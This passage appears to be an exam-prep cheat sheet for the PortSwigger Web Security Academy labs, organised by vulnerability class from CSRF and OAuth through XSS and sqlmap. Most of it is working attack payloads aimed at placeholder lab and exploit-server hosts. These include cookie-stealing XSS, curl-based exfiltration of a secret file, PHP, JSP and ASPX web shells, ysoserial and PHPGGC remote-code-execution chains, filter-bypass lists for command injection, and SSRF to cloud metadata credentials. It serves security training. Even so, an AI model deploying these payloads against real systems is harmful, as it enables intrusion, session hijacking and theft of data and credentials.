csrfKeyinto the victim via a reflectedSet-Cookie(CRLF), then submit with the matching body token:<img src="https://LAB-ID.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=YOUR-CSRF-KEY%3b%20SameSite=None" onerror="document.forms[0].submit()">
- Token duplicated in a cookie. Same CRLF trick, forcing cookie and body token to match.
- SameSite Lax bypass via method override.
GET ...?email=...&_method=POST. - SameSite Strict bypass via client-side redirect. Abuse a redirect (
postId=../my-account/change-email?...):https://LAB-ID.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=attacker%40evil.com%26submit=1 - SameSite Strict bypass via sibling domain. A sibling subdomain with a vulnerable WebSocket/XSS is same-site, so its requests carry the Strict cookie:
<script> var ws = new WebSocket('wss://cms-LAB-ID.web-security-academy.net/chat'); ws.onopen = () => { ws.send(`<img src=x onerror="fetch('https://LAB-ID.web-security-academy.net/my-account/change-email',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'email=pwned@test.com'})">`); }; </script>
- SameSite Lax bypass via cookie refresh. Force a cookie refresh (open
/social-login), then the PoC works within the first 120 seconds during which Lax is not enforced on top-level POST. - Referer validation depends on the header being present. Suppress it:
<meta name="referrer" content="no-referrer">. - Broken Referer validation. Put the lab domain in the
pushStateURL and setReferrer-Policy: unsafe-urlon the exploit server.
First look: "Login with Google/Facebook/GitHub" buttons; URLs with client_id=, redirect_uri=, response_type=, scope=, state=, code=; /.well-known/oauth-authorization-server / openid-configuration; /oauth/callback, /social-login.
Quick tests: check for a state parameter (absent → CSRF-attachable); change redirect_uri to your server; try directory traversal in redirect_uri; look for an open redirect on the whitelisted callback domain.
Note
How strictly redirect_uri is validated is the tweak to probe (a loose match, an open redirect on the whitelisted domain, or path traversal on the callback path). If the flow carries a state or nonce, the account-binding CSRF route is closed, so pivot to stealing the code or token via redirect_uri. Whether you steal a code or a token depends on response_type: a code goes through /oauth-linking?code=, while a token lands in the URL fragment and needs the proxy-page JS to exfil it.
Labs:
- Improper implicit grant. The client trusts identity data from the token without verifying it; tamper the submitted email/identity.
- Flawed CSRF (no
state). Bind the victim's account to your social login. Intercept your owncode, drop the request, and deliver the linking URL to the victim:<iframe src="https://LAB-ID.web-security-academy.net/oauth-linking?code=YOUR-STOLEN-CODE"></iframe>
- Flawed
redirect_urivalidation. Point it at your server to receive the code:Validation-bypass shapes:<iframe src="https://oauth-YOUR-OAUTH-ID.oauth-server.net/auth?client_id=YOUR-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>
https://default-host.com &@foo.evil-user.net#@bar.evil-user.net/, or a duplicateredirect_uriparameter. - Stealing codes/tokens via a proxy page. Use directory traversal on the callback path to reach an open redirect on the whitelisted domain, then forward the victim (with their token in the fragment) to your server:
<script> if (!document.location.hash) { window.location = 'https://YOUR-OAUTH.oauth-server.net/auth?client_id=YOUR-CLIENT&redirect_uri=https://LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT.exploit-server.net/exploit/&response_type=token&nonce=-1&scope=openid%20profile%20email' } else { window.location = '/?'+document.location.hash.substr(1) } </script>
First look: API endpoints returning sensitive JSON (/accountDetails, /api/me). Response headers Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods. Subdomain trust.
Quick tests: add Origin: https://evil.com and check if it is reflected in ACAO; try Origin: null; suffix/prefix (target.com.evil.com, evil.com.target.com); confirm Access-Control-Allow-Credentials: true (without it, reflected origins are useless for cookie theft).
Note
None of this works without Access-Control-Allow-Credentials: true, so confirm that first (otherwise no session cookie travels). The trust rule varies (plain origin reflection, a trusted null origin, or subdomain trust), so test Origin: null, a suffix/prefix origin, and a real subdomain to see which the app accepts. And the endpoint holding the secret won't always be /accountDetails, so find whichever one leaks the API key.
Labs:
- Basic origin reflection. Steal the API key from
/accountDetails:<script> var req = new XMLHttpRequest(); req.onload = function(){ location='https://YOUR-EXPLOIT.exploit-server.net/log?key='+this.responseText; }; req.open('get','https://LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); </script>
- Trusted
nullorigin. A sandboxed iframe has anullorigin:<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req=new XMLHttpRequest(); req.onload=function(){ location='https://YOUR-EXPLOIT.exploit-server.net/log?key='+encodeURIComponent(this.responseText); }; req.open('get','https://LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials=true; req.send(); </script>"></iframe>
- Trusted insecure protocols / subdomain trust. Chain an XSS on a whitelisted subdomain to make the CORS request:
<script>document.location="https://stock.LAB-ID.web-security-academy.net/?productId=<script>var req=new XMLHttpRequest();req.onload=function(){location='https://YOUR-EXPLOIT.exploit-server.net/log?key='+this.responseText};req.open('get','https://LAB-ID.web-security-academy.net/accountDetails',true);req.withCredentials=true;req.send();%3c/script>&storeId=1"</script>
First look: URL params containing __proto__, constructor, prototype; JS using lodash.merge, jQuery.extend(true, ...), custom recursive merges; dynamic property reads (config[userInput]).
Quick tests: DOM Invader → Prototype Pollution → "Scan for gadgets"; drop ?__proto__[test]=POLLUTED and check Object.prototype.test in the console; if __proto__ is stripped, try ?constructor[prototype][test]=POLLUTED or the nested __pro__proto__to__ bypass.
Common source patterns:
?__proto__[prop]=value
?__proto__.prop=value
?constructor[prototype][prop]=value
#__proto__[prop]=value
Note
If __proto__[x] is filtered, switch to the dot form, constructor[prototype][x], or the nested variant that survives a single-pass strip. The gadget property that reaches a sink differs per app, so scan for it with DOM Invader rather than pasting a known one. The end goal is to steal the admin's cookie through the DOM-XSS gadget (swap the alert for a fetch to your server).
Labs:
- Via browser APIs. A polluted
valuereaches ajavascript:/data URL sink:GET /?__proto__[value]=data:,alert(1);
- DOM XSS via pollution. DOM Invader → Scan for gadgets → Exploit.
- Alternative vector (custom parser accepts the dot form):
GET /?__proto__.sequence=alert(1)-
- Flawed sanitization (non-recursive strip). Use DOM Invader to find the surviving form (e.g.
__pro__proto__to__). - Third-party library gadget (e.g. an analytics
hitCallback). Deliver via exploit server:Replace<script>location="https://LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29"</script>
alertwith a fetch to your server to steal the admin's cookie.
Gadget hunting. When DOM Invader misses it, grep the page source for properties read without a hasOwnProperty guard (if (config.transport_url), script.src = options.src, new Function(callback)()). Sources to try in order: query __proto__, hash __proto__, dot form, constructor[prototype], then a JSON body if there's a POST sink.
For gadget-chain RCE at Stage 3, see gadget chains. Here the goal is privesc to administrator by tampering a serialised session object you control.
First look: Session cookies/tokens that are base64 (possibly URL-encoded) and longer than ~40 chars. After base64-decode, check the first bytes:
| Format | Indicator |
|---|---|
| PHP | O: (object), a: (array), s: (string), often URL+base64 |
| Java | rO0 (base64 of \xac\xed) or raw \xac\xed\x00\x05 |
| .NET / ViewState | AAEAAAD///// or the __VIEWSTATE parameter |
| Ruby | \x04\x08 |
| Python pickle | \x80\x04 |
Quick tests: decode, find a boolean (b:0/b:1) or admin flag, flip it, re-encode, replay. If an access_token string exists, try replacing it with integer 0 (loose-comparison bypass on PHP 7.x).
Note
Decode the token first and identify the format from the leading bytes rather than assuming PHP. What you tamper varies (a boolean flag, a type-juggled token, or a differently named field), so read the object before editing. Whenever you change a string, fix its length prefix or the object won't deserialize (the classic trap that checks you actually understand it). And the type-juggling trick (0 == "string") only works on PHP 7.x, not 8, so if it fails the target is probably PHP 8.
Labs:
- Modifying a serialised object. Flip
adminfromb:0tob:1:O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
- Modifying data types (PHP loose comparison —
0 == "string"is true on PHP 7.x). Make the token comparison pass with integer0, and fix the length prefix (s:6:"wiener"→s:13:"administrator"):O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
Goal: read
/home/carlos/secret. Reach it with any file-read or RCE primitive: SSRF to the internal service onlocalhost:6566, XXE, directory traversal, or RCE via OS command injection, SSTI, a deserialization chain, file upload, or SSPP. See the read-the-secret section.
Exam shortcut — localhost:6566. When you have any SSRF primitive, point it at the internal file-read service:
http://localhost:6566/home/carlos/secret
http://127.0.0.1:6566/etc/passwd
http://localhost:6566//home/carlos/secret (double-slash if single fails)
If localhost / 127.0.0.1 is filtered:
http://127.1:6566/home/carlos/secret
http://[::1]:6566/home/carlos/secret
http://2130706433:6566/home/carlos/secret (decimal-encoded 127.0.0.1)
The response body is the secret — no OOB needed. This is faster than chaining file upload / command injection / SSTI when SSRF is what you already have.
Note
On the exam the target you actually want is the internal file service: http://localhost:6566/home/carlos/secret. If localhost/127.0.0.1 is blacklisted, cycle the alternatives ([::1], 2130706433, 0177.0.0.1, 127.0.0.1.nip.io, mixed case, or a double-encoded host). If it's a whitelist instead, blacklist tricks won't help, so chain an open redirect or use @/# parsing tricks (http://expected-host@localhost:6566/..., http://localhost:6566#expected-host). And remember blind SSRF can fire the request but won't hand you the file unless the response is reflected back.
Labs:
- Basic SSRF against the local server:
POST /product/stock stockApi=http://localhost/admin/delete?username=carlos
- Against another back-end system (Intruder the last octet):
stockApi=http%3a//192.168.0.{1}%3a8080/admin/ - Blind SSRF with OAST detection:
Referer: https://YOUR-COLLAB.oastify.com - Blacklist-based filter:
stockApi=http%3a//127.1/Admin/delete?username=carlos - Filter bypass via open redirection:
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos - "Download report as PDF" SSRF. The PDF renderer fetches/renders your markup. Read the file into the PDF, or exfil out-of-band:
{"table-html":"<iframe src=\"file:///home/carlos/secret\" width=\"1000\" height=\"1000\"></iframe>"} {"table-html":"<script>x=new XMLHttpRequest();x.open('GET','file:///home/carlos/secret');x.onload=function(){location='https://YOUR-EXPLOIT.exploit-server.net/?'+btoa(this.responseText)};x.send();</script>"} {"table-html":"<iframe src=\"http://localhost:6566/\" width=\"1000\" height=\"1000\"></iframe>"}
First look: Params named file, path, filename, image, template, view, page, include, download; image-render endpoints; document/PDF downloads.
The bypass ladder:
../../../etc/passwd
/etc/passwd (absolute path)
....//....//....//etc/passwd (non-recursive strip)
..%252f..%252f..%252fetc/passwd (double URL-encode)
../../../etc/passwd%00.png (null byte, PHP < 5.3.4)
/var/www/images/../../../etc/passwd (start-of-path validation)
Note
Once you've confirmed the read primitive with something small like /etc/hostname, retarget it straight at /home/carlos/secret instead of re-reading passwd. The exam tends to stack filters (strip ../, validate the start of the path, require an extension), so chain the bypasses on the real path rather than testing them on /etc/passwd. Possible shape:
GET /image?filename=/var/www/images/....//....//....//....//home/carlos/secretLabs map one-to-one to the ladder above (simple case, absolute-path bypass, non-recursive strip, superfluous URL-decode, start-of-path validation, null-byte extension).
Files worth reading on Linux. Exam goal is /home/carlos/secret. Confirm the read primitive with /etc/passwd (world-readable root:x:0:0:) or /etc/hostname. Highest-value single file is /proc/self/environ — it dumps every env var the web process started with, often DB creds, AWS keys, JWT secrets. Others: /proc/self/cmdline, /proc/self/cwd/<file>, app config (config.php, settings.py, application.properties, .env, wp-config.php), web-server config/logs (/etc/nginx/nginx.conf, /var/log/apache2/access.log — log poisoning), user home dirs (.bash_history, .ssh/id_rsa, .aws/credentials), and Docker artefacts (/.dockerenv, /proc/self/cgroup).
First look: Requests with Content-Type: application/xml / text/xml / application/soap+xml; SOAP endpoints; SVG uploads (SVG is XML — parsed during thumbnailing); DOCX/XLSX (zipped XML); RSS/Atom; any body starting with <?xml.
Quick tests: inject a SYSTEM "file:///etc/hostname" entity; for blind, use the OAST DTD pattern; if DOCTYPE is blocked, use XInclude; for SVG, embed the entity in the doctype and view the rendered image.
Note
Point the file entity at /home/carlos/secret instead of the lab's /etc/passwd. If <!DOCTYPE is stripped, switch to XInclude (lab 7) or the SVG-upload route (lab 8). If there's no reflection, go blind with an out-of-band external DTD (lab 5) or the error-based variant (lab 6). If general entities are blocked but parameter entities aren't, fall back to the %-parameter-entity form. Either way, host the malicious DTD on your exploit server with the secret path already baked in.
Labs:
- Retrieve files via external entities:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
- SSRF via XXE:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
- Blind XXE with OAST interaction. Point an entity at
http://YOUR-COLLAB.oastify.com. - Blind XXE via XML parameter entities:
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://YOUR-COLLAB.oastify.com"> %xxe; ]>
- Exfiltrate via a malicious external DTD hosted on your server:
<!-- hosted DTD --> <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://YOUR-EXPLOIT.exploit-server.net/?x=%file;'>"> %eval; %exfiltrate;
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR-EXPLOIT.exploit-server.net/malicious.dtd"> %xxe;]> <stockCheck><productId>%xxe;</productId><storeId>1</storeId></stockCheck>
- Retrieve data via error messages. Point the inner entity at
file:///nonexistent/%file;and read the secret out of the parse error. - XInclude (no DOCTYPE needed):
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1 - XXE via SVG upload:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg xmlns="http://www.w3.org/2000/svg"><text font-size="16" x="0" y="16">&xxe;</text></svg>
First look: Params that look like a hostname/IP/filename/shell arg; "ping this host" / "DNS lookup" features; feedback forms that email (backend shells out); image/file processing (convert, ffmpeg, pdftotext).
Separators (both Windows and Unix): &, &&, |, ||. Unix-only: ;, newline (0x0a). Inline execution: `injected` or $(injected). If your input lands inside quotes, terminate the quote first.
Note
The goal is to exfil /home/carlos/secret, not just run whoami, so swap the injected command for the curl / DNS / file-write exfil (see the read-the-secret section). Output is usually stripped, so work blind: confirm with a time delay, then exfil over OAST. Assume at least one filter class is in play. And if the backend uses array-style exec (no shell), $(), backticks, and > won't expand, so invoke the binary with its own arguments directly. Possible shape:
||curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret||
Labs:
- Simple case.
productId=1;whoami&storeId=3 - Blind with time delays.
email=x||ping+-c+10+127.0.0.1|| - Blind with output redirection.
email=x||whoami+>+/var/www/images/output.txt||, then GET the file. - Blind with OAST.
email=x||nslookup+YOUR-COLLAB.oastify.com|| - Blind with OAST data exfiltration.
email=x||nslookup+whoami.YOUR-COLLAB.oastify.com||
Filter bypasses.
Space substitution:
{cat,/etc/passwd}
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
cat</etc/passwdBreak the command name:
ca''t /etc/passwd
c"a"t /etc/passwd
\c\a\t /etc/passwd
/???/??t /etc/passwd # /bin/cat
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | shQuote-context escape (input inside mail "$EMAIL"): "; whoami; #, $(whoami), `whoami`.
Slash/path filtering: cd ..;cd ..;cd ..;cat etc/passwd, ${HOME}/../../etc/passwd.
Windows: c^a^t (caret escape), type C:\Windows\win.ini.
Triage checklist: basic separator → quoted-context break → encoded separator (%0a, %09, %00) → break the command (ca''t, /???/??t) → space bypass (${IFS}) → / bypass → time delay → OAST → blind-to-file / command-as-subdomain.
First look: Email subject/body fields (password-reset "Hi {name},"), error pages echoing input, file-render endpoints, anything server-side-rendered into a template.
Fingerprint: polyglot ${{<%[%'"}}%\ (the stack trace often names the engine); ${7*7} (Ruby ERB / Java / Freemarker), {{7*7}} (Jinja2 / Twig / Handlebars), <%= 7*7 %> (ERB/EJS), #{7*7} (Pug/Ruby), *{7*7} (Thymeleaf). 49 in the response confirms SSTI.
Note
Fingerprint the template engine first (the lab 4 workflow with the polyglot) before reaching for a payload. The goal is to read and exfil /home/carlos/secret, not delete morale.txt like the labs, so use the engine's RCE with curl -d @/home/carlos/secret (see the read-the-secret section). If the engine is sandboxed and you can't shell out, pivot to another primitive for the file. Possible shape:
${"freemarker.template.utility.Execute"?new()("curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret")}
Labs (objective usually delete morale.txt; the exam wants secret):
- Basic SSTI (ERB):
<%= 7 * 7 %>; delete:<%= File.delete('/home/carlos/morale.txt') %> - Code context. Close the surrounding expression first:
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}} - Freemarker (identified from probing):
${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")} - Unknown language with a documented exploit. The polyglot reveals Handlebars (via a
node-...stack trace); use the Handlebars gadget chain to reachchild_process.exec. - Information disclosure via user-supplied objects. Django:
{% debug %} {{settings.SECRET_KEY}}
First look: Avatar / profile-picture uploads, document/attachment forms, resume uploads, any <input type="file">. Check the response for the resulting URL (/files/avatars/, /uploads/).
Quick tests: upload shell.php with <?php echo file_get_contents('/home/carlos/secret'); ?>; if the extension is blocked, try the ladder .phtml, .phar, .php5, .pHp, .php., .php%00.jpg; spoof Content-Type: image/jpeg; path-traverse the filename (../shell.php); upload .htaccess mapping a custom extension to PHP.
Note
Upload a shell that reads /home/carlos/secret. Expect stacked filters (Content-Type, extension blocklist, magic bytes), so be ready to go past a plain .php with extension tricks, an .htaccess mapping, or a polyglot. Match the shell language to the backend if it isn't PHP, and if the upload won't execute where it lands, fall back to the SVG-XXE side door for a pure file read.
Reusable web shells:
<?php echo file_get_contents('/home/carlos/secret'); ?> // single-shot read
<?php echo system($_GET['cmd']); ?> // interactive: /shell.php?cmd=id<?php
$c = file_get_contents('/home/carlos/secret');
file_get_contents('https://YOUR-COLLAB.oastify.com/?x=' . urlencode($c));
?><%@ page import="java.util.*,java.io.*"%>
<% Process p=Runtime.getRuntime().exec(request.getParameter("c"));
BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){out.println(l);} %><%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe","/c " + Request["c"]); %>Labs: direct upload → Content-Type spoof → path traversal (../shell.php, ..%2fshell.php) → extension blacklist bypass (.phtml etc, or .htaccess mapping AddType application/x-httpd-php .l33t) → obfuscated extension (shell.php%00.jpg, shell.jpg.php) → polyglot (embed PHP in EXIF so the file passes getimagesize()):
exiftool -Comment='<?php echo file_get_contents("/home/carlos/secret"); ?>' shell.jpg && mv shell.jpg shell.phtmlRace condition (upload → scan → delete) — race it with Turbo Intruder:
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30)
engine.queue(upload_request)
for i in range(50):
engine.queue(call_shell_request)Triage: upload .php → spoof Content-Type → blacklist-bypass extensions → path traversal → .htaccess → polyglot → race condition → check where the file lands (non-executable directory?).
SVG-XXE side door. If upload accepts SVG and the backend parses it, treat it as XXE — faster than a web shell when you only need a file read.
For simple privesc-by-tampering, see type confusion. Here you use gadget chains for RCE or arbitrary file read/write. Typical exam sinks: delete /home/carlos/morale.txt, or exfil /home/carlos/secret via curl.
Note
Swap the labs' rm morale.txt for the curl exfil so you actually read /home/carlos/secret. The working gadget chain depends on the exact library version, so cycle the candidates rather than betting on one, and let the Java Deserialization Scanner extension detect the sink and generate the ysoserial payload for you. If the cookie is HMAC-signed, re-sign it after tampering, and match the encoding wrapper the app expects (base64, URL+base64, or raw).
Labs:
- Application-functionality gadget (PHP magic method). Read the source via a backup file (
GET /libs/CustomTemplate.php~), then craft an object whose__destruct()acts on your path:O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
- Java — Apache Commons via ysoserial:
Exfil variant:
java \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \ --add-opens=java.base/java.net=ALL-UNNAMED \ --add-opens=java.base/java.util=ALL-UNNAMED \ -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0
Ifysoserial-all.jar CommonsCollections7 'curl https://YOUR-COLLAB.oastify.com/x -d @/home/carlos/secret'CommonsCollections4fails, cycleCommonsCollections1–7,BeanShell1,Spring1,Hibernate1— different lib versions accept different chains. - PHP — pre-built gadget chain via PHPGGC. If the cookie is HMAC-signed, first leak the secret (e.g.
phpinfo.php), then re-sign:./phpggc Symfony/RCE4 exec 'curl https://YOUR-COLLAB.oastify.com/x -d @/home/carlos/secret' | base64 -w 0
Cycleimport hmac, hashlib secret = b"LEAKED-SECRET" token = b"BASE64-TOKEN" print(hmac.new(secret, token, hashlib.sha1).hexdigest())
Symfony/RCE1–6,Laravel/RCE*,Doctrine,Guzzle,Slim,Monolog.
Tips. If you don't know the secret, check phpinfo, .git, or .env first. Always try multiple chains. For Java, the --add-opens flags are required on JDK 9+.
For the client-side DOM-XSS chain, see prototype pollution (client-side). Here you pollute Object.prototype on a Node backend via a JSON body containing __proto__ (or constructor.prototype) — for privesc or RCE.
Detection (no DOM to inspect):
- Reflected property — send
{"__proto__":{"foo":"bar"}}and check unrelated endpoints forfoo. - Status-code override —
{"__proto__":{"status":510}}, then look forHTTP/1.1 510. json spaces(most reliable, silent) —{"__proto__":{"json spaces":10}}, then any JSON response is indented by 10 spaces.- Exposed headers — pollute
exposedHeaders, confirm viaAccess-Control-Expose-Headers.
Note
Detection is silent, so let the Server-Side Prototype Pollution Scanner extension find it. It automates the probes, like the json spaces trick where polluting json spaces makes every JSON response come back indented.
Labs:
- Privilege escalation. Pollute
isAdminon the merged user object:RefreshPOST /my-account/change-address HTTP/2 {"address_line_1":"x","sessionId":"YOUR-SESSION","__proto__":{"isAdmin":true}}
/my-account— admin links should appear. - Detection without reflection. Use the
json spacestechnique, then escalate viaisAdmin. - Bypassing input filters. When
__proto__is stripped, useconstructor.prototype:Other forms:{"sessionId":"YOUR-SESSION","constructor":{"prototype":{"isAdmin":true}}}__pro__proto__to__, URL-encoded property name, array nesting.
RCE via SSPP:
{"__proto__":{"argv0":"node","shell":"node","NODE_OPTIONS":"--inspect=YOUR-COLLAB.oastify.com:80"}}
{"__proto__":{"shell":"/bin/sh -c 'curl https://YOUR-COLLAB.oastify.com/?x=$(cat /home/carlos/secret)'"}}
{"__proto__":{"execArgv":["--eval=require('child_process').execSync('curl https://YOUR-COLLAB.oastify.com')"]}}The "I have a working XSS, now what" reference. Pick by injection type, deliver, read the log.
Note
The cookie name may not be session, so send all of document.cookie. An empty log usually means you forgot Deliver to victim or the payload broke.
Delivery workflow (the step that costs time):
- Open the lab's exploit server. Leave
Content-Type: text/html. - Paste one payload below into the body. Store.
- Deliver exploit to victim (also fires on the victim's ~15s homepage visit for stored payloads).
- Access log. The cookie lands as
GET /?c=session=XXXX.
Always test on your own session first and watch your own access log — if nothing arrives, your payload broke, not the delivery.
Stored XSS (rendered field — victim triggers it on their next visit):
<script>fetch('https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie)</script>
<script>document.location='https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie</script>
<script>new Image().src='https://YOUR-EXPLOIT.exploit-server.net/?c='+document.cookie</script>Reflected XSS (store an exploit that navigates the victim to the reflected URL):
<script>
document.location = "https://LAB-ID.web-security-academy.net/?search=<script>fetch('https://YOUR-EXPLOIT.exploit-server.net/?c='%2bdocument.cookie)<\/script>";
</script>URL-encode the inner payload, %2b = +, and write the inner closing tag as <\/script> so it doesn't terminate the outer block.
Filtered context (parens/dots/quotes blocked — cross-ref restrictions bypass):
"-fetch`https://YOUR-EXPLOIT.exploit-server.net?c=${document.cookie}`-"
"-Function`X${document.location="https://YOUR-EXPLOIT.exploit-server.net/?c="+document.cookie}```-"CSP blocks inline script? Load an external script from your exploit server (host x.js there containing the fetch):
<script src="https://YOUR-EXPLOIT.exploit-server.net/x.js"></script>Cookie has special characters? Wrap it: fetch('...?c='+encodeURIComponent(document.cookie)).
Pick by the primitive you hold. secret is plain text. Read the objective first — sometimes the goal is to delete /home/carlos/morale.txt instead.
SSRF — the internal file-read service:
http://localhost:6566/home/carlos/secret
localhost blocked → http://127.1:6566/..., http://[::1]:6566/..., http://2130706433:6566/..., or //home. The response body is the secret.
Directory traversal / LFI:
?filename=/home/carlos/secret
?filename=../../../../../home/carlos/secret
XXE — file entity (reflected):
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/carlos/secret"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>Blind → OOB external DTD with the secret baked into the exfil URL (see XXE lab 5). Error-based → point the inner entity at file:///nonexistent/%file;.
OS command injection (blind, in order of preference):
||curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret|| # POST body, never truncates
||cat /home/carlos/secret > /var/www/images/o.txt|| # then GET /image?filename=o.txt
||nslookup `cat /home/carlos/secret`.YOUR-COLLAB.oastify.com|| # DNS only if HTTP egress blocked
SSTI — engine RCE performs the read:
Freemarker: ${"freemarker.template.utility.Execute"?new()("curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret")}
Jinja2: {{cycler.__init__.__globals__.os.popen('curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret').read()}}
Twig: {{['curl https://YOUR-COLLAB.oastify.com/ -d @/home/carlos/secret']|filter('system')}}
File upload web shell:
<?php echo file_get_contents('/home/carlos/secret'); ?>
<?php file_get_contents('https://YOUR-COLLAB.oastify.com/?x='.urlencode(file_get_contents('/home/carlos/secret'))); ?>Deserialization RCE — swap the command in your ysoserial/phpggc payload to the curl-exfil above.
SSPP RCE (Node):
{"__proto__":{"shell":"/bin/sh -c 'curl https://YOUR-COLLAB.oastify.com/?x=$(cat /home/carlos/secret)'"}}How to read what you exfiltrated. Collaborator: Poll → select the interaction; for curl -d @file the content is the request body; for ?x=... it's in the URL (URL-decode). Exploit-server access log: the ?x=... query string holds it. Truncated? Prefer curl -d @file (POST body never truncates); a ?x= GET can hit URL-length limits.
Time-wasters. The objective may be delete, not read. Collaborator may get DNS but no HTTP (egress is DNS-only → switch to the DNS-subdomain exfil). If exec is array-style (no shell), $()/backticks/> won't expand — invoke curl directly with its own args. SSRF but port/path filtered → the read service is still :6566; only the way you reach it changes.
XSS filter bypasses for when the obvious payload is blocked.
References: Bypassing signature-based XSS filters · URL-validation bypass cheat sheet
JavaScript escaping — Unicode, hex, and octal escapes (Hackvertor makes these one click):
Dynamically constructing strings:
<script>eval('al'+'ert(1)');</script>eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));
Generate a base64 payload and drop it into atob:
echo -n "document.location = 'https://YOUR-COLLAB.oastify.com/?cookie='+document.cookie" | base64<script>eval(atob("BASE64-PAYLOAD"))</script>Alternatives to eval: 'alert(1)'.replace(/.+/,eval)
Avoiding dots (dot filtered): alert(document['cookie']), or Unicode-escape the dot inside an eval'd string.
Avoiding parentheses (( / ) filtered):
%25%32%38 // %28 → (
%25%32%39 // %29 → )
Template-literal Function constructor — the highest-value paren-free RCE shape (three backticks close the literal and call the function with no args):
"-Function`X${document.location="https://YOUR-EXPLOIT.exploit-server.net/steal?c="+document.cookie}```-"Backtick fetch (paren-free exfil) and backtick-only alert (sanity test):
"-fetch`//YOUR-COLLAB.oastify.com?c=${document.cookie}`-"
"-alert`1`-"# Basic
sqlmap -u '<URL>' -p <param> --batch --level 5
# Walk the schema
sqlmap -u '<URL>' -p <param> --batch --level 5 --dbs
sqlmap -u '<URL>' -p <param> --batch --level 5 -D <DB> --tables
sqlmap -u '<URL>' -p <param> --batch --level 5 -D <DB> -T <TABLE> --columns
sqlmap -u '<URL>' -p <param> --batch --level 5 -D <DB> -T <TABLE> -C <COL> --dump
# Injection point in a cookie
sqlmap -u '<URL>' --cookie="TrackingId=<value>" -p TrackingId --batch --level 5
# One-shot when you already know engine/schema/table/column
sqlmap -u 'URL' -p <param> --batch --dbms=postgresql --level=5 -D public -T users -C password --dump
# Feed a saved Burp request (custom headers, multipart, HTTP/2) — mark the point with *
sqlmap -r request.txt -p <param> --batch --level=5 --risk=3This guide synthesises the PortSwigger Web Security Academy material with the following community study resources — all worth reading in full:





















